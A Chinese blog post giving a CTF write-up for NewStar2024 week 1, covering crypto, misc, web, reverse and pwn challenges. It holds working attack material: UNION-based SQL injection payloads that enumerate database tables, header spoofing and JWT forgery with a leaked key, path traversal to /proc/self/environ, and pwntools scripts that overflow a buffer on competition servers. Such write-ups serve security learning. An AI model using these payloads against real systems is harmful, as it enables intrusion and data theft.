naby

导航

NewStar2024-week1

前言:刚开始比赛,时间比较多尝试了一下所有题目,难度也很友好,之后就写密码了,写全部太累了

Week1

Crypto

Base

4C4A575851324332474E324547554B494A5A4446513653434E564D444154545A4B354D45454D434E4959345536544B474D5134513D3D3D3D

秒了

一眼秒了

p,q相近

或者factordb查

"""from Crypto.Util.number import *
from gmpy2 import *
from serct import flag
p = getPrime(512)
q = getPrime(512)
n = p*q
m = bytes_to_long(flag)
e = 65537
c = powmod(m, e, n)
print(n)
print(c)"""
from Crypto.Util.number import *
from gmpy2 import *
n=52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153
c=48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069

p=iroot(n,2)[0]
p=next_prime(p)
while n%p!=0:
    p=next_prime(p)

print(long_to_bytes(pow(c,invert(65537,p-1),p)))
#b'flag{9cd4b35a-affc-422a-9862-58e1cc3ff8d2}'

xor

重新执行一遍就好

"""#As a freshman starting in 2024, you should know something about XOR, so this task is for you to sign in.

from pwn import xor
#The Python pwntools library has a convenient xor() function that can XOR together data of different types and lengths
from Crypto.Util.number import bytes_to_long

key = b'New_Star_CTF'
flag='flag{*******************}'

m1 = bytes_to_long(bytes(flag[:13], encoding='utf-8'))
m2 = flag[13:]

c1 = m1 ^ bytes_to_long(key)
c2 = xor(key, m2)
print('c1=',c1)
print('c2=',c2)
"""
from pwn import xor
from Crypto.Util.number import long_to_bytes,bytes_to_long
key = b'New_Star_CTF'
c1= 8091799978721254458294926060841
c2= b';:\x1c1<\x03>*\x10\x11u;'
print(long_to_bytes(c1 ^ bytes_to_long(key)))
print(xor(key,c2))
#flag{0ops!_you_know_XOR!}

Strange King

某喜欢抽锐刻5的皇帝想每天进步一些,直到他娶了个模,回到原点,全部白给

这是他最后留下的讯息:ksjr{EcxvpdErSvcDgdgEzxqjql},flag包裹的是可读的明文

根据题目简介,一开始密钥为5,要取模

经过测试,密钥每次要+2

a="ksjr{EcxvpdErSvcDgdgEzxqjql}"

#print(ord('k'))
#print(ord('f'))

#print(ord('a'))
#print(ord('l'))

key=5
for i in a:
    if 'a'<=i<='z':
        print(chr((ord(i)-ord('a')-key)%26+ord('a')),end="")
    elif 'A'<=i<='Z':
        print(chr((ord(i)-ord('A')-key)%26+ord('A')),end="")
    else:
        print(i,end="")
    key+=2

Misc

兑换码

png改高

Labyrinth

stegsolve秒了

WhereIsFlag

一个个目录遍历就好了

在/proc/self/environ里

pleasingMusic

最后有摩斯电码

一首歌可以好听到正反都好听

根据题目介绍,逆一下就对了

decompress

7z打开一直往里走,最后得到一个真加密的压缩包

并获得提示:^([a-z]){3}\d[a-z]$

zip2john获取hash,根据提示hashcat爆破

Web

headach3

F12看响应头

会赢吗

第一部分F12查看源码,并获得第二部分地址

访问之后看源码可以得到一个函数revealFlag

根据提示在控制台输入并传递参数

测试一下就得到了第二部分flag

启动本地替代,修改对应源码位置

之后点击即可得到第三部分flag

将js代码里下面console.log的代码覆盖掉上面监听的代码,之后点击按钮即可。

最后base64解码即可

智械危机

看源码用cyberchef就可以了

(下图是cmd参数的值,把灰色点亮就是key的值)

谢谢皮蛋

sqli第二关,无闭合

# 确认回显位置
-1 union select 1,2--

# 查询数据库名
-1 union select 1,database() --

# 查询表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--
# 得到表Fl4g

# 查询列名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='Fl4g' and table_schema=database()--
# 得到列 id,des,value

# 查询值
-1 union select group_concat(value),group_concat(des) from Fl4g--

PangBai 过家家(1)

(从头梳理一遍,一开始就用bp抓包等着)

level1→level2

点击屏幕后等过场动画完,会发现从/start重定向回到了根目录

这时候的返回包里有location,这就是level2的地址

直接访问这个地址就会重新重定向到level2

(服务器是通过token中的jwt值来判断处在level几的)

level2→level3

将最新的包拉到Repeater去重新编辑发送

根据提示,使用GET请求,参数为ask,值为miao

当返回包为302响应时,才表示成功

之后要把右侧的token值覆盖掉原来的token,才能放问下一关

如下图,修改后重新发包即可

level3→level4

根据提示,使用POST提交数据

修改三处常规的即可

之后同上,修改token值

level4→level5

第一步,根据提示修改User-Agent的值,需要符合语法,需要加上版本号,这里随意数字(不一定需要小数点)

之后得到提示,需要说“玛卡巴卡阿卡哇卡米卡玛卡呣”,由于bp不好发中文,这里进行url编码再发送

成功

(之后记得修改token值)

level5→level6

之后按照提示,使用PATCH方法

(我不太懂,所以我交给了AI,具体修改内容如下

需要将Content-type修改为multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

之后在后面添加上原来的POST数据(不然Pangbai不让你过)

之后再添加上提示的内容(补丁包)

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="say"

玛卡巴卡阿卡哇卡米卡玛卡呣
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="*.zip"
Content-Type: application/zip

naby
------WebKitFormBoundary7MA4YWxkTrZu0gW--

(成功之后记得修改token值)

level6

首先需要修改成localhost访问

添加参数X-forwarded-for:127.0.0.1

之后得到jwt加密密钥:Fo4iw52x6nYnonu2

(这就是密钥,前后的不是密钥缺失部分)

将我们已知token里的jwt拿去修改

JSON Web Tokens - jwt.io

测试一遍后是将level改成0即可

之后使用浏览器打开访问/start,hackbar改token发包就可以啦

Reverse

begin

简单题开始记事本大法,最后一个flag还是需要ida打开看函数名。

base64

这个就可以记事本大法了

可以才出来就是换表base64

Simple_encryption

很简单的加密逻辑,最后模256就好了

data=[0x47, 0x95, 0x34, 0x48, 0xA4, 0x1C, 0x35, 0x88, 0x64, 0x16, 0x88, 0x07, 0x14, 0x6A, 0x39, 0x12, 0xA2, 0x0A, 0x37, 0x5C, 0x07, 0x5A, 0x56, 0x60, 0x12, 0x76, 0x25, 0x12, 0x8E, 0x28]

key=[0x1f,0x29,0x55]
for i in range(len(data)):
    if i%3==0:
        m=data[i]+key[i%3]
    elif i%3==1:
        m=data[i]-key[i%3]
    else:
        m=data[i]^key[i%3]
    print(chr(m%256),end="")

# flag{IT_15_R3Al1y_V3Ry-51Mp1e}

ezAndroidStudy

用jeb_pro打开。

上面搜索可以发现其实有多段flag,我们就带上数字搜

flag1

flag{Y0u

flag2

搜索flag2后,在这里看伪代码

后面注释得到flag2:_@r4

flag3

在flag2处可以发现剩下几个flag的提示,第三部分说是要去找布局

public static int third = 0x7F1200B6; // string:third "layout 就是布局的意思呢,/res/layout 里的带 Activity 字样的 xml 文件通常是用来描述一个 Activity的大体布局,你能找到布局里藏起来的 flag 吗喵?"

以压缩包形式打开apk,并解压里面的./res/layout

根据提示搜索Activity,看到有个main的,打开发现flag3: _900d

flag4

flag4在我们一开始搜索flag的时候就发现是一个文本,打开就是了

flag4: _andr01d

flag5

根据flag2找到的提示,需要逆向.so文件

string:fifth "安卓卓用到的可不只有 java 呢,你知道怎么逆向安卓的 so 文件吗喵"

搜索flag5可以发现使用的so文件

同样使用压缩包方式打开apk文件

在lib里可以找到.so文件

在对应文件里可有看到flag5: _r4V4rs4r}

最后拼接flag:flag{Y0u_@r4_900d_andr01d_r4V4rs4r}

ez_debug

在right前面打个断点,之后按几次F8就可以查看到flag

Pwn

Real Login

直接登录输入密码就好了

Game

有限时,需要使用程序传数据

from pwn import *

r=remote("101.200.139.65",20967)

for i in range(999//9+1):
    r.sendline(b'9')
r.sendline(b'cat /flag')
print(r.recvline())

r.interactive()

overwrite

exeinfope打开看是64位的

int的nbytes最后被转成了unsigned int

我直接用负数打了

from pwn import *
from Crypto.Util.number import *

r=remote("39.106.48.123",41557)


r.recvuntil(b'readin: ')
r.sendline(str(-1).encode())

r.recvuntil(b'to say: ')
payload=b'a'*48+b'114515'

r.sendline(payload)

r.interactive()

gdb

用gdb调试运行之后可以得到最后的值4557455355431d5d,reverse一下就好了

from pwn import *
r=remote("8.147.132.32",16637)


payload=bytes.fromhex("4557455355431d5d")
r.recvuntil(b"data: ")
r.sendline(payload[::-1])

r.interactive()

posted on 2024-10-08 22:20  Naby  阅读(87)  评论(0编辑  收藏  举报